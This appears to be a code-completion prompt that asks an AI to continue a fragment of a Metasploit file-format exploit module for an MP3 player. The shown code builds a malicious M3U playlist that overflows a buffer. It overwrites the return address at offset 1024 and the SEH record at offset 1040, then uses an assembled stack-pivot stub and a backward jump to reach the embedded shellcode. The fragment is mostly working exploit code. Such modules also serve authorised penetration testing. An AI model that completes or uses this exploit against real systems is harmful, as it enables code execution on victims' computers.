You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: mymp3player_m3u.rb
    path of file: ./repos/metasploit-framework/modules/exploits/windows/fileformat
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
    
  def exploit

    # direct ret overwrite at offset 1024
    # nseh overwrite at offset 1040
    ret_offset = 1024
    seh_offset = 1040

    # start with the payload
    m3u = payload.encoded

    if (target.name =~ /SEH/)
      m3u << rand_text_alphanumeric(seh_offset - m3u.length)
      # ensure bad,no-nul addr for ret (trigger SEH)
      m3u[ret_offset,4] = [0xc0010101 | rand(0xffffffff)].pack('V')

      # We utilize a small stub near the end of the buffer space to
      # continue to the real shellcode...
      # NOTE: the push is to avoid a badchar (0x5c)
      stub = <<-EOF
push ecx
sub esp,-0x1a8
ret
EOF
      stub = Metasm::Shellcode.assemble(Metasm::Ia32.new, stub).encode_string
      m3u[seh_offset - stub.length, stub.length] = stub

      # Jump back to the stub
      jmp2 = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + stub.length.to_s).encode_string
      seh = ''
      seh << jmp2
      seh << rand_text(2)
      seh << [target.ret].pack('V')
      m3u << seh
    else
      m3u << rand_text_alphanumeric(1024 - m3u.length)
      m3u << [target.ret].pack('V')
    end